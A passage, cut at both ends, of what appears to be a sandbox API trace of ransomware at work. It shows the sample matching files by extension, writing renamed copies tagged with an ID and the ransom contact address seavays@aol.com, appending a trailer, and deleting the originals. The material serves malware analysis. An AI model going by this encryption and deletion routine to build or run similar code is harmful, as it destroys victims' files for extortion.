lstrlenW (lpString=".xlsx") returned 5 [0183.339] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0183.339] lstrlenW (lpString=".ppt") returned 4 [0183.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.339] lstrlenW (lpString=".zip") returned 4 [0183.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.339] lstrlenW (lpString=".rar") returned 4 [0183.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.339] lstrlenW (lpString=".bz2") returned 4 [0183.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.339] lstrlenW (lpString=".7z") returned 3 [0183.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.339] lstrlenW (lpString=".dbf") returned 4 [0183.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.340] lstrlenW (lpString=".1cd") returned 4 [0183.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.340] lstrlenW (lpString=".jpg") returned 4 [0183.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.340] lstrlenW (lpString=".doc") returned 4 [0183.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.340] lstrlenW (lpString=".docx") returned 5 [0183.340] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0183.340] lstrlenW (lpString=".pdf") returned 4 [0183.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.340] lstrlenW (lpString=".xls") returned 4 [0183.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.340] lstrlenW (lpString=".xlsx") returned 5 [0183.340] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0183.340] lstrlenW (lpString=".ppt") returned 4 [0183.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.340] lstrlenW (lpString=".zip") returned 4 [0183.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.340] lstrlenW (lpString=".rar") returned 4 [0183.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.340] lstrlenW (lpString=".bz2") returned 4 [0183.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.341] lstrlenW (lpString=".7z") returned 3 [0183.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.341] lstrlenW (lpString=".dbf") returned 4 [0183.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.341] lstrlenW (lpString=".1cd") returned 4 [0183.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.341] lstrlenW (lpString=".jpg") returned 4 [0183.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.341] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0183.341] lstrlenW (lpString="J0152608.WMF") returned 12 [0183.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0183.479] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=12436) returned 1 [0183.479] CloseHandle (hObject=0x534) returned 1 [0183.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220 [0183.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.177] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.177] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0184.179] GetLastError () returned 0x0 [0184.179] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x3094, lpOverlapped=0x0) returned 1 [0184.181] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x30a0, lpOverlapped=0x0) returned 1 [0184.183] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.183] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.183] SetEndOfFile (hFile=0x378) returned 1 [0184.183] CloseHandle (hObject=0x378) returned 1 [0184.183] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.183] SetEndOfFile (hFile=0x534) returned 1 [0184.186] CloseHandle (hObject=0x534) returned 1 [0184.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0184.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.188] lstrlenW (lpString=".doc") returned 4 [0184.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.189] lstrlenW (lpString=".docx") returned 5 [0184.189] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.189] lstrlenW (lpString=".pdf") returned 4 [0184.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.189] lstrlenW (lpString=".xls") returned 4 [0184.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.189] lstrlenW (lpString=".xlsx") returned 5 [0184.189] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.189] lstrlenW (lpString=".ppt") returned 4 [0184.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.189] lstrlenW (lpString=".zip") returned 4 [0184.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.189] lstrlenW (lpString=".rar") returned 4 [0184.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.189] lstrlenW (lpString=".bz2") returned 4 [0184.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.189] lstrlenW (lpString=".7z") returned 3 [0184.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.189] lstrlenW (lpString=".dbf") returned 4 [0184.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.189] lstrlenW (lpString=".1cd") returned 4 [0184.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.190] lstrlenW (lpString=".jpg") returned 4 [0184.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.190] lstrlenW (lpString=".doc") returned 4 [0184.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.190] lstrlenW (lpString=".docx") returned 5 [0184.190] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.190] lstrlenW (lpString=".pdf") returned 4 [0184.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.190] lstrlenW (lpString=".xls") returned 4 [0184.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.190] lstrlenW (lpString=".xlsx") returned 5 [0184.190] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.190] lstrlenW (lpString=".ppt") returned 4 [0184.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.190] lstrlenW (lpString=".zip") returned 4 [0184.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.190] lstrlenW (lpString=".rar") returned 4 [0184.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.190] lstrlenW (lpString=".bz2") returned 4 [0184.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.190] lstrlenW (lpString=".7z") returned 3 [0184.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.190] lstrlenW (lpString=".dbf") returned 4 [0184.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.191] lstrlenW (lpString=".1cd") returned 4 [0184.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0184.191] lstrlenW (lpString=".jpg") returned 4 [0184.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.191] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0184.191] lstrlenW (lpString="J0152694.WMF") returned 12 [0184.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.194] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1348) returned 1 [0184.194] CloseHandle (hObject=0x534) returned 1 [0184.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220 [0184.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.195] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.195] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0184.196] GetLastError () returned 0x0 [0184.196] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x544, lpOverlapped=0x0) returned 1 [0184.198] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x550, lpOverlapped=0x0) returned 1 [0184.199] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.199] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.200] SetEndOfFile (hFile=0x378) returned 1 [0184.200] CloseHandle (hObject=0x378) returned 1 [0184.200] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.200] SetEndOfFile (hFile=0x534) returned 1 [0184.203] CloseHandle (hObject=0x534) returned 1 [0184.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.205] lstrlenW (lpString=".doc") returned 4 [0184.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.205] lstrlenW (lpString=".docx") returned 5 [0184.205] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.205] lstrlenW (lpString=".pdf") returned 4 [0184.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.205] lstrlenW (lpString=".xls") returned 4 [0184.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.205] lstrlenW (lpString=".xlsx") returned 5 [0184.205] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.205] lstrlenW (lpString=".ppt") returned 4 [0184.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.205] lstrlenW (lpString=".zip") returned 4 [0184.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.205] lstrlenW (lpString=".rar") returned 4 [0184.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.205] lstrlenW (lpString=".bz2") returned 4 [0184.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.205] lstrlenW (lpString=".7z") returned 3 [0184.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.205] lstrlenW (lpString=".dbf") returned 4 [0184.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.206] lstrlenW (lpString=".1cd") returned 4 [0184.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.206] lstrlenW (lpString=".jpg") returned 4 [0184.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.206] lstrlenW (lpString=".doc") returned 4 [0184.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.206] lstrlenW (lpString=".docx") returned 5 [0184.206] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.206] lstrlenW (lpString=".pdf") returned 4 [0184.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.206] lstrlenW (lpString=".xls") returned 4 [0184.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.206] lstrlenW (lpString=".xlsx") returned 5 [0184.206] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.206] lstrlenW (lpString=".ppt") returned 4 [0184.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.206] lstrlenW (lpString=".zip") returned 4 [0184.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.206] lstrlenW (lpString=".rar") returned 4 [0184.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.206] lstrlenW (lpString=".bz2") returned 4 [0184.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.207] lstrlenW (lpString=".7z") returned 3 [0184.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.207] lstrlenW (lpString=".dbf") returned 4 [0184.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.207] lstrlenW (lpString=".1cd") returned 4 [0184.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0184.207] lstrlenW (lpString=".jpg") returned 4 [0184.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.207] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0184.207] lstrlenW (lpString="J0152696.WMF") returned 12 [0184.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.208] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7320) returned 1 [0184.208] CloseHandle (hObject=0x534) returned 1 [0184.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220 [0184.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.210] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.210] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0184.211] GetLastError () returned 0x0 [0184.211] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1c98, lpOverlapped=0x0) returned 1 [0184.584] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0184.585] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.586] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.586] SetEndOfFile (hFile=0x378) returned 1 [0184.587] CloseHandle (hObject=0x378) returned 1 [0184.587] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.587] SetEndOfFile (hFile=0x534) returned 1 [0184.590] CloseHandle (hObject=0x534) returned 1 [0184.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0184.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.624] lstrlenW (lpString=".doc") returned 4 [0184.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.624] lstrlenW (lpString=".docx") returned 5 [0184.624] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.624] lstrlenW (lpString=".pdf") returned 4 [0184.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.625] lstrlenW (lpString=".xls") returned 4 [0184.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.625] lstrlenW (lpString=".xlsx") returned 5 [0184.625] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.625] lstrlenW (lpString=".ppt") returned 4 [0184.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0184.625] lstrlenW (lpString=".zip") returned 4 [0184.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.625] lstrlenW (lpString=".rar") returned 4 [0184.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.625] lstrlenW (lpString=".bz2") returned 4 [0184.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 